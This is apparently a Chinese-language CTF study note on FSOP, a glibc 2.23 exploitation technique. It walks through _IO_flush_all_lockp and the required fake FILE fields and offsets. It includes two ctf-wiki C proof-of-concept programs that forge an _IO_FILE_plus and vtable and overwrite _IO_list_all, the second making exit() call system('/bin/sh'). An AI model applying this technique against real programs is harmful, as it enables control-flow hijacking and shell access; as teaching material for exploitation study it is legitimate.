FSOP

File Stream Oriented Programming

基础知识

IO-FILE基础

原理

glibc中有一个函数_IO_flush_all_lockp,功能是刷新所有FILE结构体的输出缓冲区。源码在libio\genops
https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/genops.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;

#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif

last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //若输出缓冲区有数据,则刷新输出缓冲区
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;

if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain; //遍历链表
}

#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif

return result;
}
}

输出缓冲区的数据保存在fp->_IO_write_base处,其长度为fp->_IO_write_ptr->_IO_write_base,因此上面代码中22~26行的if语句是判断FILE结构输出缓冲区是否还有数据,有的话则调用_IO_OVERFLOW刷新缓冲区。
其中_IO_OVERFLOW是vtable中的函数。因此考虑控制_IO_list_all链表中的一个节点,进而控制程序执行流。

该函数意义是为了保证数据不丢失,因此程序执行退出相关代码时会调用该函数刷新缓冲区,确保数据被保存。事实上,会调用_IO_flush_all_lockp函数的时机包括:

  1. libc执行abort函数时
  2. 程序执行exit函数时
  3. 程序从main函数返回时

以执行exit函数的情况为例查看栈结构
断点下在_IO_flush_all_lockp,查看栈回溯

1
2
3
4
5
6
7
#0  _IO_flush_all_lockp (do_lock=do_lock@entry=0) at genops.c:760
#1 0x00007ffff7a8933a in _IO_cleanup () at genops.c:951
#2 0x00007ffff7a46fab in __run_exit_handlers (status=0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=true) at exit.c:95
#3 0x00007ffff7a47055 in __GI_exit (status=<optimized out>) at exit.c:104
#4 0x00000000004005f9 in main () at t.c:25
#5 0x00007ffff7a2d840 in __libc_start_main (main=0x400566 <main>, argc=1, argv=0x7fffffffddd8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffddc8) at ../csu/libc-start.c:291
#6 0x0000000000400499 in _start ()

可以看到最终一步步调用并执行到_IO_flush_all_lockp

条件

伪造的结构体内容需要满足上面的代码中的if条件

1
2
3
4
5
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}

即:

  • fp->mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base
    (fp->mode偏移0xc0;fp->_IO_write_ptr偏移0x28;fp->_IO_write_base偏移0x20)

利用

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,然后触发调用_IO_flush_all_lockp,这个函数会调用_IO_FILE_plus.vtable 中的_IO_overflow。修改_IO_overflow的指针为我们想调用的函数指针即可

示例

ctf-wiki的示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8

int main(void)
{
void *ptr;
long long *list_all_ptr;

ptr=malloc(0x200);

*(long long*)((long long)ptr+mode_offset)=0x0;
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writebase_offset)=0x0;
*(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);

*(long long*)((long long)ptr+0x100+24)=0x41414141;

list_all_ptr=(long long *)_IO_list_all;

list_all_ptr[0]=ptr;

exit(0);
}

分析

申请0x200字节的空间来伪造_IO_FILE_plus
使用前0x100字节作为_IO_FILE,后0x100字节作为vtable

  1. 布置_IO_FILE数据:_mode,_IO_write_ptr,_IO_write_base
  2. 伪造vtable的地址,指向后0x100字节的开始
  3. 伪造的vtable中__overflow处写上0x41414141
  4. 修改位于libc中的全局变量_IO_list_all,指向伪造的伪造的_IO_list_all

效果

按照预期最终调用_overflow时调用的是我们写入的0x41414141,报错

更进一步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define _IO_list_all 0x7ffff7dd2520
#define system_ptr 0x7ffff7a523a0
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8

int main(void)
{
void *ptr;
long long *list_all_ptr;

ptr=malloc(0x200);
strcpy(ptr, "/bin/sh");
*(long long*)((long long)ptr+mode_offset)=0x0;
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writebase_offset)=0x0;
*(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);

*(long long*)((long long)ptr+0x100+24)=system_ptr;

list_all_ptr=(long long *)_IO_list_all;

list_all_ptr[0]=ptr;

exit(0);
}

最终执行_overflow(fp, EOF),相当于执行system(“/bin/sh”)
在关闭了系统地址随机化的情况下./运行程序,即可getshell
(关闭随机化才能保证system函数地址确定,否则libc基地址随机)